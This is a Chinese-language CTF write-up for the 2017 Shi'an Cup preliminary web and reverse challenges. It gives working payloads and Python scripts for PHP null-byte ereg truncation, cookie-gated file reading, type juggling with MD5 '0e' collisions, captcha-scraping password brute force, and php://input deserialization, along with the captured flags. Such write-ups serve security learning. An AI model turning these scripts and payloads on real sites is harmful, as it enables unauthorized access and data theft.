[2017世安杯] 初赛Web Writeup
Web:
##### ctf入门级题目 view_source有源码,如下
<?php
$flag = '*********';
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo '<p class="alert">You password must be alphanumeric</p>';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo '<p class="alert">Invalid password</p>';
}
?>
<section class="login">
<div class="title">
<a href="./index.phps">View Source</a>
</div>
<form method="POST">
<input type="text" required name="password" placeholder="Password" /><br/>
<input type="submit"/>
</form>
</section>
</body>
</html>
根据源码,ereg可被%00截断,直接上payload
- payload :
?password=123%00--
- poc :
- flag :
flag{Maybe_using_rexpexp_wasnt_a_clever_move}
##### 曲奇饼 题目已经提示了和cookie应该是有关的 进去之后发现是老题目,file是base64之后的文件名称,line是读取文件的行数 可以直接写个脚本读取index.php的源码, 脚本如下:
import requests
url = 'http://ctf1.shiyanbar.com/shian-quqi/index.php?line=%d&file=aW5kZXgucGhw'
se = requests.Session()
for x in xrange(1,40):
print se.get(url % x).content
这里要求我们带有一个值为li_lr_480,名称为key的cookie,这样我们就能读取到thisis_flag.php的源码了 直接控制台document.cookie写cookie 然后将thisis_flag.php 进行base64编码后提交得到flag
- poc :
- flag : flag{UHGgd3rfH*(3HFhuiEIWF}
类型
进去之后有源码,如下:
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}
?>
还是老题目。。。首先a是1a的方式绕过判断,因为在switch中字符串和数字比较php会尝试将字符串intval后比较(或者是这里直接将x1赋值为0,这里的switch有使用错误的嫌疑)。b同样是利用字符串与数字比较的特点进行绕过 只需要赋值为2018aaa即可,c是利用array_search有如下特性:
d的话首先发现 substr(md5('15562'),8,16)
是0e开头,则我们需要把x3构造成0e开头的后面全都是数字的md5即可,这里直接上脚本碰撞,脚本如下:
#coding:utf8
import hashlib
import string
import random
import time
i = 0
while 1:
i += 1
print '[*] 第' + str(i) + '次碰撞'
testStr = ''.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4)).strip()
testCode = hashlib.md5('XIPU'+testStr).hexdigest()[8:24]
if testCode.startswith('0e') and testCode[2:].isdigit():
print testStr
print testCode[2:]
print '[*] 耗时 ' + str(time.time() - st) + ' s'
exit()
构造如下payload绕过:
- payload :
?x1=1a&x2={"x21":"2018aa","x22":[[1],0],"0":3}&x3=XIPUvg6c
-
poc :
- flag :
CTF{Php_1s_bstl4_1a}
登录
进去之后发现是一个登录框, 源码有提示密码是5位数字,直接上脚本跑出密码:
#coding:utf8
import re
import requests
url = 'http://ctf1.shiyanbar.com/shian-s/'
se = requests.Session()
for x in xrange(1,10000):
x = str(x).zfill(5)
flag = 0
while not flag:
try:
content = se.get(url).content
code = re.findall('<input name="randcode" type="text"><br><br>(\d+)<br><br>', content ,re.S|re.M)[0]
flag = 1
except Exception as e:
print e
print code
res = se.get(url+'?username=admin&password='+x+'&randcode='+code)
print '[*] Trying '+str(x)
if ('密码错误' not in res.content and 'button' not in res.content and '502' not in res.content) or 'flag' in res.content:
print x
print '-------'
print res.content
exit()
elif '验证码错误' in res.content:
print '验证码错误!!!'
exit()
密码为00325
-
poc :
-
flag :
flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a}
web5
又是反序列化的老题目了。。。。 直接上payload吧。。
- payload :
?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
-
poc :
- flag :
flag_Xd{hSh_ctf:e@syt0g3t}
Reverse
Console
首先直接看hex观察到是一个dotnet的程序,直接用reflector反汇编,然后修改有输出的那一个函数,直接打印出flag,done
-
poc :
-
flag :
flag{967DDDFBCD32C1F53527C221D9E40A0B}
写在最后:感觉。。。这次体验不太好。。早上的时候估计是服务器崩了。。直接跳过选择题。。。然后下午一直都交不了flag。。。直到晚上8点钟催了3次之后才弄好的。。。emmm 然后Web的好像都是老题。。。像是实验吧一日游。。。(逃 然后明天就马上决赛。。。。
Did you like the post? Subscribe to the feed.